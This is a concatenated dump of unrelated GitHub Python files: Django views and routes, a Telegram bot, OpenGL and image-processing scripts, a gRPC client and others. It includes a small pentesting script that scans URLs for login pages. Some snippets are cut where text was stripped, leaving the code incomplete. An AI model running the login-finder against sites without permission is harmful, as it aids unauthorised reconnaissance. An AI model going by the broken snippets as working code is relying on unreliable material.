get_user_info_by_user_id),\n# path('get_user_info', get_user_info),\n# path('update_user_info', update_user_info)\n# ]\nurlpatterns = [\n # path('url_name', api_name)\n path('get_topic_by_id', get_topic_by_id),\n path('get_all_topics', get_all_topics),\n path('get_all_topics_by_user', get_all_topics_by_user),\n path('join_topic', join_topic),\n path('leave_topic', leave_topic),\n path('create_topic', create_topic),\n path('write_diary', write_diary),\n path('like_diary', like_diary),\n path('dislike_diary', dislike_diary),\n path('get_all_diary_by_heat', get_all_diary_by_heat),\n path('get_all_diary_by_time', get_all_diary_by_time),\n path('get_diary_by_author_id', get_diary_by_author_id),\n path('get_diary_by_id', get_diary_by_id),\n path('get_diary_info_by_key', get_diary_info_by_key),\n path('get_diary_info', get_diary_info),\n path('get_topic_info', get_topic_info),\n path('get_topic_info_by_key', get_topic_info_by_key),\n path('upload_img', upload_img),\n]\n","repo_name":"RyouonRitsu/se_teamwork_backend","sub_path":"topic/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"32195897922","text":"import sys\nimport os\nimport json\nimport requests\nimport logging\n\nfrom google.cloud import language_v1\n\n\ndef _main(fname, lang):\n with open(fname) as f:\n content = f.read()\n\n client = language_v1.LanguageServiceClient()\n\n document = language_v1.Document(\n content=content, type_=language_v1.Document.Type.PLAIN_TEXT)\n\n r = client.analyze_sentiment(\n request={'document': document})\n\n sentiment = r.document_sentiment\n print(\"Overall Sentiment: {}, {}\".format(\n sentiment.score, sentiment.magnitude))\n\n senteces = r.sentences\n for s in senteces:\n print(\"=\"*80)\n print(\"Sentence:\", s.text.content)\n print(\"Sentiment: {}, {}\".format(\n s.sentiment.score, s.sentiment.magnitude))\n\n\nif __name__ == \"__main__\":\n fname = sys.argv[1]\n _main(fname, lang=\"en\")\n","repo_name":"EricDiao/bu-ec601-project2","sub_path":"examples/nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42181925657","text":"from validate_email import validate_email\nfrom src import handlers, perfil, tips\nfrom telegram.ext import ConversationHandler\nfrom telegram import ReplyKeyboardMarkup\nfrom PIL import Image, ImageDraw, ImageFont\nfrom googlesearch import search\nimport re\n\ndef is_logged(user_data):\n if user_data.get('AUTH_TOKEN'):\n return True\n\n return False\n\ndef list_to_str(data):\n string = str()\n i = 0\n for item in data:\n i += 1\n if i < len(data):\n string = string + str(item) + \", \"\n else:\n string = string + str(item) + \"\\n\"\n\n return string\n\n# Função que retorna uma string de um SET\ndef set_to_str(data):\n remain_data = list()\n \n for value in data:\n remain_data.append('{}.'.format(value))\n\n return \"\\n\".join(remain_data).join(['\\n', '\\n']) \n\n# Passa dict para string\ndef dict_to_str(user_data): \n lst = list()\n\n for key, value in user_data.items():\n if key != 'Keyboard':\n lst.append('{} - {}'.format(key, value))\n\n return \"\\n\".join(lst).join(['\\n', '\\n']) \n\ndef cancel(update, context):\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\"Cancelando!\\nRetornando automaticamente ao menu!\"\n )\n context.user_data.clear()\n handlers.menu(update, context)\n return ConversationHandler.END\n\ndef back(update, context):\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\"Retornando ao menu!\"\n )\n handlers.menu(update, context)\n return ConversationHandler.END\n\ndef bad_entry(update, context):\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\"Opção inválida, tente utilizar os botões!\\nRetornando ao menu.\"\n )\n context.user_data.clear()\n handlers.menu(update, context)\n return ConversationHandler.END\n\ndef validaNome(nome):\n if len(nome) >= 8:\n return True\n return False\n\ndef validaSenha(senha):\n if len(senha) >= 8:\n return True\n return False\n\ndef validaEmail(email):\n if validate_email(email):\n return True\n return False\n\ndef validaGenero(genero):\n if str(genero).lower() in ['homem cis', 'homem homossexual', 'mulher cis', 'mulher homossexual', 'outro']:\n return True\n return False\n\ndef validaRaca(raca):\n if str(raca).lower() in ['branco', 'negro', 'pardo', 'indigena', 'amarelo', 'outro']:\n return True\n return False\n\ndef validaTrabalho(trabalho):\n if str(trabalho).lower() in ['sim', 'não', 'nao']:\n return True\n return False\n\ndef validaRisco(risco):\n if str(risco).lower() in ['sim', 'não', 'nao']:\n return True\n return False\n\ndef validations_login(user_data):\n if \"Email\" in user_data and not validaEmail(user_data['Email']):\n user_data.pop(\"Email\")\n return False\n\n if \"Senha\" in user_data and not validaSenha(user_data['Senha']):\n user_data.pop(\"Senha\")\n return False\n \n return True\n\ndef validations_signup(user_data): \n if \"Username\" in user_data and not validaNome(user_data['Username']):\n user_data.pop(\"Username\")\n return False\n\n if \"Email\" in user_data and not validaEmail(user_data['Email']):\n user_data.pop(\"Email\")\n return False\n \n if \"Senha\" in user_data and not validaSenha(user_data['Senha']):\n user_data.pop(\"Senha\")\n return False\n\n if \"Genero sexual\" in user_data and not validaGenero(user_data['Genero sexual']):\n user_data.pop('Genero sexual')\n return False\n\n if \"Raça\" in user_data and not validaRaca(user_data['Raça']):\n user_data.pop('Raça')\n return False\n\n if \"Trabalho\" in user_data and not validaTrabalho(user_data['Trabalho']):\n user_data.pop(\"Trabalho\")\n return False\n\n return True\n\ndef validations_edition(user_data):\n if \"user_name\" in user_data and not validaNome(user_data['user_name']):\n return False\n\n if \"gender\" in user_data and not validaGenero(user_data['gender']):\n return False\n\n if \"race\" in user_data and not validaRaca(user_data['race']):\n return False\n \n if \"is_professional\" in user_data and not validaTrabalho(user_data['is_professional']):\n return False\n\n if \"risk_group\" in user_data and not validaRisco(user_data['risk_group']):\n return False\n\n return True\n\ndef image(entradaTexto):\n # get an image\n base = Image.open('general/images/robo.jpg').convert('RGBA')\n\n # make a blank image for the text, initialized to transparent text color\n txt = Image.new('RGBA', base.size, (0,0,0,0))\n fnt = ImageFont.truetype('Pillow/Tests/fonts/FreeMono.ttf', 21, encoding='Adobe Standard')\n\n # get a drawing context\n d = ImageDraw.Draw(txt)\n\n # Organiza o texto a ser printado\n printText = geraString(entradaTexto)\n\n # Posição inicial do texto na imagem\n d.text((10,30), str(printText), font=fnt, fill=(0,0,0,255))\n out = Image.alpha_composite(base, txt)\n out.save(\"general/images/robo_save.png\")\n\n return printText\n # out.show()\n\ndef geraString(text):\n texto = \"Atualmente essas são as suas informações: \" + \"\\n\"\n\n # De acordo com a escolha chama uma função\n if \"user_name\" in text:\n texto = texto + \"\\n\" + 'Username' + \": \" + str(text['user_name'])\n\n if \"race\" in text:\n texto = texto + \"\\n\" + 'Raça' + \": \" + str(text['race'])\n\n if \"gender\" in text:\n texto = texto + \"\\n\" + 'Genero sexual' + \": \" + str(text['gender'])\n\n if \"birthdate\" in text:\n texto = texto + \"\\n\" + 'Nascimento' + \": \" + str(text['birthdate'].split('T')[0])\n \n if \"risk_group\" in text:\n if text['risk_group'] == 'true' or text['risk_group'] == True:\n texto = texto + \"\\n\" + 'Grupo de Risco' + \": Sim\"\n else:\n texto = texto + \"\\n\" + 'Grupo de Risco' + \": Não\"\n\n if \"is_professional\" in text:\n if text['is_professional'] == 'true' or text['is_professional'] == True:\n texto = texto + \"\\n\" + 'Trabalho' + \": Sim\"\n else:\n texto = texto + \"\\n\" + 'Trabalho' + \": Não\"\n \n return texto\n\n# Remove a check mark do final da palavra caso esteja presente\ndef remove_check_mark(text):\n if '✅' == text[-1]:\n text = text[:-1]\n return text\n\n# Insere ou remove a check mark do botão da categoria do teclado conforme sua validação\ndef update_check_mark(keyboard, category, validation):\n for i, items in enumerate(keyboard):\n for j, item in enumerate(items):\n if category in item:\n if validation and '✅' not in item:\n keyboard[i][j] = item + '✅'\n return\n elif not validation and '✅' in item:\n keyboard[i][j] = item[:-1]\n return\n\n# Atualiza as informações que ainda faltam ser inseridas\ndef update_required_data(received_data, required_data):\n for key in received_data:\n if key in required_data:\n required_data.remove(key)\n\n# Função que adiciona done ao terminar de adicionar todas as informações\ndef form_filled(keyboard):\n if not ['Done'] in keyboard:\n keyboard.append(['Done'])\n\n# Caso a pessoa tenha adicionado todas as informações e depois adicionou uma inválida novamente, ele retira o botão de done\ndef undone_keyboard(keyboard):\n keyboard.remove(['Done'])\n\n# Atualiza as informações que estão faltando\ndef unreceived_info(received_data, required_data, all_items):\n for item in all_items:\n if not item in received_data:\n required_data.add(item)\n\ndef received_information_reply(update, context, feedback):\n markup = ReplyKeyboardMarkup(context.user_data['Keyboard'], one_time_keyboard=True, resize_keyboard=True)\n\n # Envia o feedback ao user\n update.message.reply_text(feedback, reply_markup=markup)\n","repo_name":"fga-eps-mds/2020.1-DoctorS-Bot","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7880,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18087146342","text":"#!/usr/bin/python3\r\n\r\nimport re\r\nimport argparse\r\nimport requests\r\nfrom time import sleep\r\nimport io\r\n\r\ndef isIncludeLoginKeyword(text):\r\n login_keywords = re.compile(\"Giriş|Kullanıcı Adı|Parola|Doğrulama Kodu|Yönetim Paneli|Login|Log in|log in|Log In|log In|LOG IN|login|LOGIN|Giriş|Giris|giris|GİRİS|GIRIS|GİRİŞ|Kayıt Ol|Kayıt ol|Kaydol|kayıt ol|KAYIT O|kaydol|KAYDOL|oturum ac|OTURUM AÇ|Oturum Aç|oturum aç|Oturum Ac|Submit|submit|SUBMIT|SUBMİT|submıt|Submıt\")\r\n\r\n if \" URL request error, passing the next one...\")\r\n \r\n else:\r\n if isIncludeLoginKeyword(url_text):\r\n print(\"[+] {0}\".format(url))\r\n with open(\"login_urls.txt\",\"a\") as out_f:\r\n out_f.write(url+\"\\n\")\r\n\r\n f.close()\r\n out_f.close()\r\n\r\n\r\ndef get_response(url):\r\n resp = requests.get(url, allow_redirects=True, timeout=7)\r\n return str(resp.content)\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"rbozburun/basic-pentesting-toolkit","sub_path":"login_page_finder/login_page_finder.py","file_name":"login_page_finder.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21564452847","text":"from OpenGL.GL import *\r\nfrom OpenGL.GLUT import *\r\nfrom OpenGL.GLU import *\r\nimport random\r\n\r\n\r\nW_Width, W_Height = 800, 600\r\n\r\npoints = [] \r\npoint_speed = 0.1\r\nis_frozen = False\r\nis_blinking = False\r\nbackground_color = (0.0, 0.0, 0.0)\r\nblink_time = 500\r\n\r\ndef generate_random_point(x, y):\r\n color = (random.uniform(0.0, 1.0), random.uniform(0.0, 1.0), random.uniform(0.0, 1.0))\r\n direction = (random.choice([-1, 1]), random.choice([-1, 1]))\r\n points.append((x, y, color, direction, point_speed))\r\n\r\ndef increase_point_speed():\r\n global point_speed\r\n point_speed += 0.1\r\n for i in range(len(points)):\r\n x, y, color, direction, speed = points[i]\r\n points[i] = (x, y, color, direction, point_speed)\r\n\r\ndef decrease_point_speed():\r\n global point_speed\r\n if point_speed > 0.1:\r\n point_speed -= 0.1\r\n for i in range(len(points)):\r\n x, y, color, direction, speed = points[i]\r\n points[i] = (x, y, color, direction, point_speed)\r\n\r\ndef blink_points():\r\n global blink_time\r\n glutPostRedisplay()\r\n glutTimerFunc(blink_time, blink_points, 0)\r\n\r\ndef toggle_freeze():\r\n global is_frozen\r\n is_frozen = not is_frozen\r\n if is_frozen:\r\n glutIdleFunc(None)\r\n else:\r\n glutIdleFunc(animate)\r\n\r\ndef toggle_blink():\r\n global is_blinking\r\n is_blinking = not is_blinking\r\n if is_blinking:\r\n glutIdleFunc(blink_points)\r\n else:\r\n glutIdleFunc(animate)\r\n\r\ndef move_points():\r\n if not is_frozen:\r\n for i in range(len(points)):\r\n x, y, color, direction, speed = points[i]\r\n new_x = x + direction[0] * speed\r\n new_y = y + direction[1] * speed\r\n\r\n if new_x < 0 or new_x > W_Width:\r\n direction = (-direction[0], direction[1])\r\n if new_y < 0 or new_y > W_Height:\r\n direction = (direction[0], -direction[1])\r\n\r\n points[i] = (new_x, new_y, color, direction, speed)\r\n\r\ndef draw_scene():\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n glClearColor(*background_color, 0.0)\r\n\r\n for x, y, color, _, _ in points:\r\n glPointSize(5)\r\n glBegin(GL_POINTS)\r\n glColor3f(*color)\r\n glVertex2f(x, y)\r\n glEnd()\r\n\r\n glutSwapBuffers()\r\n\r\ndef animate():\r\n move_points()\r\n if is_frozen or is_blinking:\r\n glutIdleFunc(None)\r\n else:\r\n glutIdleFunc(animate)\r\n glutPostRedisplay()\r\n\r\ndef mouse_click(button, state, x, y):\r\n if button == GLUT_RIGHT_BUTTON and state == GLUT_DOWN:\r\n generate_random_point(x, W_Height - y)\r\n elif button == GLUT_LEFT_BUTTON and state == GLUT_DOWN:\r\n toggle_freeze()\r\n toggle_blink()\r\n\r\ndef keyboardListener(key, x, y):\r\n if key == b' ':\r\n toggle_freeze()\r\n elif key == b'w':\r\n increase_point_speed()\r\n elif key == b's':\r\n decrease_point_speed()\r\n\r\nglutInit()\r\nglutInitWindowSize(W_Width, W_Height)\r\nglutInitWindowPosition(100, 100)\r\nglutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB)\r\nglutCreateWindow(b\"Amazing Box\")\r\n\r\nglMatrixMode(GL_PROJECTION)\r\nglLoadIdentity()\r\ngluOrtho2D(0, W_Width, 0, W_Height)\r\nglutDisplayFunc(draw_scene)\r\nglutIdleFunc(animate)\r\nglutMouseFunc(mouse_click)\r\nglutKeyboardFunc(keyboardListener)\r\nglutTimerFunc(blink_time, blink_points, 0)\r\nglutMainLoop()","repo_name":"kazimahathir73/CSE423-Computer-Graphics","sub_path":"Lab/Lab1_task2.py","file_name":"Lab1_task2.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71739461530","text":"\n#ImportModules\nimport ShareYourSystem as SYS\nimport numpy as np \n\n#Pick a random value\nParamFloat=10.+np.random.rand()\n\n#Definition an instance\nMyEquationer=SYS.EquationerClass(\n\t).equation(\n\t\t{\n\t\t\t'x' : '0.25 * x(t-5.0) / (1.0 + pow(x(t-5.0),p)) -0.1*x'\n\t\t},\n\t\t{\n\t\t\t'p':ParamFloat\n\t\t}\n\t)\n\n#Definition the AttestedStr\nSYS._attest(\n\t[\n\t\t'MyEquationer is '+SYS._str(\n\t\tMyEquationer,\n\t\t**{\n\t\t\t'RepresentingBaseKeyStrsListBool':False,\n\t\t\t'RepresentingAlineaIsBool':False\n\t\t}\n\t\t),\n\t]\n) \n\n#plot\nMyPydelayer=SYS.PydelayerClass(\n\t).collect(\n\t\t'Equationers',\n\t\t'MyEquationer',\n\t\tMyEquationer\n\t).simulate(\n\t\t20.,\n\t\tnp.array([1.])\n\t)\n\nfrom matplotlib import pyplot\npyplot.plot(MyPydelayer['VariableMoniter'].MoniteredTotalVariablesArray.T)\npyplot.show()\n\n#Print\n","repo_name":"Ledoux/ShareYourSystem","sub_path":"Pythonlogy/draft/Equationer/03_ExampleCell.py","file_name":"03_ExampleCell.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21242677918","text":"import grpc\nimport time\nimport json\nimport sys\nimport uuid\n\nfrom fate_arch.protobuf.python import inference_service_pb2\nfrom fate_arch.protobuf.python import inference_service_pb2_grpc\nimport threading\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n # request_data['modelId'] = 'arbiter-10000#guest-10000#host-10000#model' # You can specify the model id this way\n # request_data['modelVersion'] = 'acd3e1807a1211e9969aacde48001122' # You can specify the model version this way\n request_data['caseid'] = uuid.uuid1().hex\n\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n\n print(json.dumps(request_data, indent=4))\n\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n","repo_name":"FederatedAI/FATE-Flow","sub_path":"python/fate_flow/tests/inference_request.py","file_name":"inference_request.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"32"} +{"seq_id":"14844550495","text":"from django.shortcuts import render, redirect\nfrom django.utils import timezone\nfrom .models import Poem, PoemDetails\nfrom .forms import PoemModelForm\nfrom .generator import *\n\ndef home(request):\n poems = Poem.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n return render(request, 'poemgen/home.html', {'poems':poems})\n\ntexts =[\n {\n 'title': 'Az appról',\n 'content': ' Szakdolgozatom célja, olyan versgenerátor weboldal elkészítése, amely a magyar nyelvű generáláson kívül különböző szempontoknak is megfelel, mint a kulcsszavak szerinti generálás, különböző művészek stílusának átemelése - stílusnak való megfelelés, mondatonként/szakaszonként egybefüggő nyelvezet.'\n },\n {\n 'title': 'Hogyan generálj?',\n 'content':' A generátor fülre kattintva, csupán egyetlen szó beírásával párszavas verset kapsz, vezetett útmutatás vár az oldalon. Amennyiben az általad beírt szó szerepel az adatbázisban láthatod az eredményt, ellenkező esetben átirányít egy oldalra, ahol példa szavakat találsz.'\n },\n {\n 'title': 'Lehetőségek',\n 'content': 'Továbbfejlesztési lehetőségnek említeném: A markov-lánccal való generálást helyettesíthetnénk MI által generálással, a szövegek hosszának felhasználótól való bekérésével és tördelésének módosításával rímképlet szerinti generálást is meg lehetne valósítani. Érdemes lehet minden további fejlesztés előtt szókészlet bővítést alkalmazni.'\n }\n]\n\ndef about(request):\n context = {\n 'texts': texts\n }\n return render(request, 'poemgen/about.html', context)\n\ndef yourpoem(request):\n return render(request, 'poemgen/yourpoem.html')\n\ndef notgeneratable(request):\n return render(request, 'poemgen/notgeneratable.html')\n\ndef generator(request):\n try:\n if request.method == 'POST':\n form = PoemModelForm(request.POST)\n if form.is_valid():\n p=form.save(commit=False)\n p.text=(stochastic_chain(p.title))\n p = form.save()\n poems = PoemDetails.objects.all()\n return render(request, 'poemgen/yourpoem.html', {'poems': poems})\n else:\n form_class = PoemModelForm\n return render(request, 'poemgen/generator.html', {\n 'form': form_class,\n })\n except KeyError:\n return render(request, 'poemgen/notgeneratable.html')","repo_name":"nagyvera/poemgen","sub_path":"poemgen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39237029417","text":"import os\r\nimport base64\r\nimport struct\r\nimport imghdr\r\n\r\n\r\ndef get_image_size(fname):\r\n with open(fname, 'rb') as fhandle:\r\n head = fhandle.read(24)\r\n if len(head) != 24:\r\n return\r\n if imghdr.what(fname) == 'png':\r\n check = struct.unpack('>i', head[4:8])[0]\r\n if check != 0x0d0a1a0a:\r\n return\r\n width, height = struct.unpack('>ii', head[16:24])\r\n elif imghdr.what(fname) == 'gif':\r\n width, height = struct.unpack('H', fhandle.read(2))[0] - 2\r\n fhandle.seek(1, 1)\r\n height, width = struct.unpack('>HH', fhandle.read(4))\r\n except Exception:\r\n return\r\n else:\r\n return\r\n return width, height\r\n\r\n\r\nstart_svg_tag = \"\"\"\r\n\r\n\"\"\"\r\nfor files in os.listdir(\".\"):\r\n if files.endswith(\".jpg\") or files.endswith(\".png\") or files.endswith(\".gif\"):\r\n width, height = get_image_size(files)\r\n img_file = open(files, 'rb')\r\n base64data = base64.b64encode(img_file.read())\r\n base64String = f''\r\n svg_size = f'width=\"{width}px\" height=\"{height}px\" viewBox=\"0 0 {width} {height}\">'\r\n f = open(os.path.splitext(files)[0] + \".svg\", 'w')\r\n f.write(start_svg_tag + svg_size + base64String + end_svg_tag)\r\n print('Converted ' + files + ' to ' + os.path.splitext(files)[0] + \".svg\")","repo_name":"KyrenieYbivaet/WebServer_YL","sub_path":"converter_to_svg/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72348563932","text":"import requests\nfrom PIL import Image\nfrom io import StringIO\nimport PIL\nimport numpy as np\nfrom resizeimage import resizeimage\nimport glob, os\nimport pyodbc\nimport datetime\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\nimport cv2\nimport datetime\nimport textwrap\nimport time\n\n# Server details\n\nfor fb_post in (fb_posts):\n created_time = fb_post[4]\n likes = fb_post[5]\n shares = fb_post[6]\n comments = fb_post[7]\n link_to_post = fb_post[8]\n message = fb_post[10]\n jpg_url = fb_post[12]\n\n print (link_to_post)\n\n likes = round(likes)\n shares = round(shares)\n comments = round(comments)\n\n created_time_cut = datetime.datetime.strptime(str(created_time), '%Y-%m-%d %H:%M:%S').strftime('%Y-%m-%d')\n created_time_cut_two = datetime.datetime.strptime(str(created_time), '%Y-%m-%d %H:%M:%S').strftime('%d %B %Y')\n\n # Download images\n\n r = requests.get(jpg_url, allow_redirects=True)\n image_save = open('tbs_image.jpg', 'wb').write(r.content)\n\n # Resize image\n\n size = 680, 400\n try:\n for infile in glob.glob(\"tbs_image.jpg\"):\n\n file, ext = os.path.splitext(infile)\n im = Image.open(infile)\n im.thumbnail(size)\n im.save(\"tbs_image\" + \".jpg\", \"JPEG\")\n\n template = Image.open('template_use.jpg')\n fb_image = Image.open('tbs_image.jpg')\n\n image_copy = template.copy()\n position = (40, 70)\n image_copy.paste(fb_image, position)\n image_copy.save('fb_post_'+created_time_cut+'.jpg')\n\n roboto = ImageFont.truetype(\"Roboto-Light.ttf\", 11)\n roboto_small = ImageFont.truetype(\"Roboto-Light.ttf\", 10)\n calibri = ImageFont.truetype(\"Calibri_Bold.ttf\", 12)\n img = Image.open('fb_post_'+str(created_time_cut)+'.jpg')\n draw = ImageDraw.Draw(img)\n draw.text((40, 515), str(likes)+\" Likes\", fill=\"#365899\",font = roboto)\n draw = ImageDraw.Draw(img)\n draw.text((130, 515), str(shares)+\" Shares\", fill=\"#365899\",font = roboto)\n draw = ImageDraw.Draw(img)\n draw.text((220, 515), str(comments)+\" Comments\", fill=\"#365899\",font = roboto)\n draw = ImageDraw.Draw(img)\n draw.text((167, 13), str(created_time_cut_two), (0, 0, 0), font=roboto_small)\n draw = ImageDraw.Draw(img)\n\n img.save('fb_post_' + str(created_time_cut) + '.jpg')\n y = 30\n novo = textwrap.wrap(message, width=85)\n for mesage_wrapped in novo:\n draw.text((50, y), mesage_wrapped, (0, 0, 0), font=roboto)\n draw = ImageDraw.Draw(img)\n y = y + 10\n img.save('fb_post_'+ str(created_time_cut)+'.jpg')\n time.sleep(1)\n\n except Exception as errr:\n print (errr)\n pass\n","repo_name":"krishan147/create_facebook_posts","sub_path":"create_fb_post.py","file_name":"create_fb_post.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14582014645","text":"import sys\n\n\ndef check():\n for c in range(N):\n e = c\n for r in range(H):\n if graph[r][e]:\n e += 1\n elif e > 0 and graph[r][e - 1]:\n e -= 1\n if e != c:\n return False\n return True\n\n\ndef dfs(x, y, cnt):\n global ans\n if check():\n ans = min(ans, cnt)\n return\n if cnt == 3 or cnt >= ans:\n return\n for r in range(x, H):\n k = y if r == x else 0\n for c in range(k, N - 1):\n if not graph[r][c]:\n graph[r][c] = 1\n dfs(r, c + 2, cnt + 1)\n graph[r][c] = 0\n\n\ninput = sys.stdin.readline\nN, M, H = map(int, input().split())\ngraph = [[0] * N for _ in range(H)]\nfor _ in range(M):\n a, b = map(int, input().split())\n graph[a - 1][b - 1] = 1\nans = 4\ndfs(0, 0, 0)\nprint(ans if ans < 4 else - 1)\n","repo_name":"dannyp0930/algorithm","sub_path":"baekjoon/15684_사다리 조작.py","file_name":"15684_사다리 조작.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9594176213","text":"#!/usr/bin/env python\r\n\"\"\" \"\"\"\r\n\r\n# Script information for the file.\r\n__author__ = \"Hendrix Demers (hendrix.demers@mail.mcgill.ca)\"\r\n__version__ = \"\"\r\n__date__ = \"\"\r\n__copyright__ = \"Copyright (c) 2009 Hendrix Demers\"\r\n__license__ = \"\"\r\n\r\n# Standard library modules.\r\nimport math\r\nimport os\r\n\r\n# Third party modules.\r\nimport numpy as np\r\n\r\n# Local modules.\r\nimport casinotools.fileformat.casino3.ScanPointsFile.BasePattern as BasePattern\r\n\r\n# Globals and constants variables.\r\nLINESCAN_TYPE_X = \"linescanTypeX\"\r\nLINESCAN_TYPE_XY = \"linescanTypeXY\"\r\n\r\nclass ScanPointsFile(BasePattern.BasePattern):\r\n def _initData(self):\r\n self.setNumberPoints(0)\r\n self.setWidth_nm(0)\r\n self.setHeight_nm(0)\r\n self.setCenterPoint((0.0, 0.0))\r\n self._numberPointsY = None\r\n self._numberPointsZ = None\r\n\r\n self._separation_nm = None\r\n\r\n def setNumberPoints(self, value):\r\n self._numberPoints = int(value)\r\n\r\n def setWidth_nm(self, value, numberPoints=None):\r\n self._widthMax_nm = float(value)\r\n self._numberPointsY = numberPoints\r\n\r\n def setHeight_nm(self, value, numberPoints=None):\r\n self._heightMax_nm = float(value)\r\n self._numberPointsZ = numberPoints\r\n\r\n def setCenterPoint(self, point):\r\n assert len(point) == 2\r\n self._centerPoint = point\r\n\r\n def _generateScanPoints(self):\r\n if self._heightMax_nm == 0.0:\r\n self._generateLinescanX()\r\n elif self._widthMax_nm == 0.0:\r\n self._generateLinescanY()\r\n else:\r\n self._generateAreascanXY()\r\n\r\n def _generateLinescanX(self):\r\n self._computeSeparationX_nm()\r\n\r\n y = self._centerPoint[1]\r\n self._scanPoints = []\r\n for x in self._getRangeX_nm():\r\n point = (x, y)\r\n self._scanPoints.append(point)\r\n\r\n def _generateLinescanY(self):\r\n self._computeSeparationY_nm()\r\n\r\n x = self._centerPoint[0]\r\n self._scanPoints = []\r\n for y in self._getRangeY_nm():\r\n point = (x, y)\r\n self._scanPoints.append(point)\r\n\r\n def _getRangeX_nm(self):\r\n xSep = self._separation_nm\r\n xMin = -self._widthMax_nm / 2.0 + xSep / 2.0 + self._centerPoint[0]\r\n xMax = self._widthMax_nm / 2.0 + xSep / 2.0 + self._centerPoint[0]\r\n\r\n range_nm = np.arange(xMin, xMax, xSep)\r\n\r\n return range_nm\r\n\r\n def _getRangeY_nm(self):\r\n ySep = self._separation_nm\r\n yMin = -self._heightMax_nm / 2.0 + ySep / 2.0 + self._centerPoint[1]\r\n yMax = self._heightMax_nm / 2.0 + ySep / 2.0 + self._centerPoint[1]\r\n\r\n range_nm = np.arange(yMin, yMax, ySep)\r\n\r\n return range_nm\r\n\r\n def _getRangeX2_nm(self):\r\n xSep = self._widthMax_nm / self._numberPointsY\r\n xMin = -self._widthMax_nm / 2.0 + xSep / 2.0 + self._centerPoint[0]\r\n xMax = self._widthMax_nm / 2.0 + xSep / 2.0 + self._centerPoint[0]\r\n\r\n range_nm = np.arange(xMin, xMax, xSep)\r\n\r\n return range_nm\r\n\r\n def _getRangeY2_nm(self):\r\n ySep = self._heightMax_nm / self._numberPointsZ\r\n yMin = -self._heightMax_nm / 2.0 + ySep / 2.0 + self._centerPoint[1]\r\n yMax = self._heightMax_nm / 2.0 + ySep / 2.0 + self._centerPoint[1]\r\n\r\n range_nm = np.arange(yMin, yMax, ySep)\r\n\r\n return range_nm\r\n\r\n def _generateAreascanXY(self):\r\n if self._numberPoints != 0:\r\n self._computeSeparation_nm()\r\n\r\n self._scanPoints = []\r\n for x in self._getRangeX_nm():\r\n for y in self._getRangeY_nm():\r\n point = (x, y)\r\n self._scanPoints.append(point)\r\n elif self._numberPointsY != None and self._numberPointsZ != None:\r\n self._scanPoints = []\r\n for x in self._getRangeX2_nm():\r\n for y in self._getRangeY2_nm():\r\n point = (x, y)\r\n self._scanPoints.append(point)\r\n else:\r\n raise NotImplementedError\r\n\r\n def _computeSeparationX_nm(self):\r\n if self._numberPoints == 0 and self._pixelSize_nm is not None:\r\n self._separation_nm = self._pixelSize_nm\r\n elif self._numberPoints != 0:\r\n self._separation_nm = self._widthMax_nm / self._numberPoints\r\n\r\n def _computeSeparationY_nm(self):\r\n if self._numberPoints == 0 and self._pixelSize_nm is not None:\r\n self._separation_nm = self._pixelSize_nm\r\n elif self._numberPoints != 0:\r\n self._separation_nm = self._heightMax_nm / self._numberPoints\r\n\r\n def _computeSeparation_nm(self):\r\n totalArea_nm2 = self._widthMax_nm * self._heightMax_nm\r\n pointArea_nm2 = totalArea_nm2 / self._numberPoints\r\n\r\n self._separation_nm = math.sqrt(pointArea_nm2)\r\n\r\n def _isLineValid(self, line):\r\n if len(line) == 0:\r\n return False\r\n\r\n if (line[-1] != os.linesep) and (line[-1] != \"\\n\") and (line[-1] != \"\\r\") and (line[-1] != \"\\r\\n\"):\r\n return False\r\n\r\n 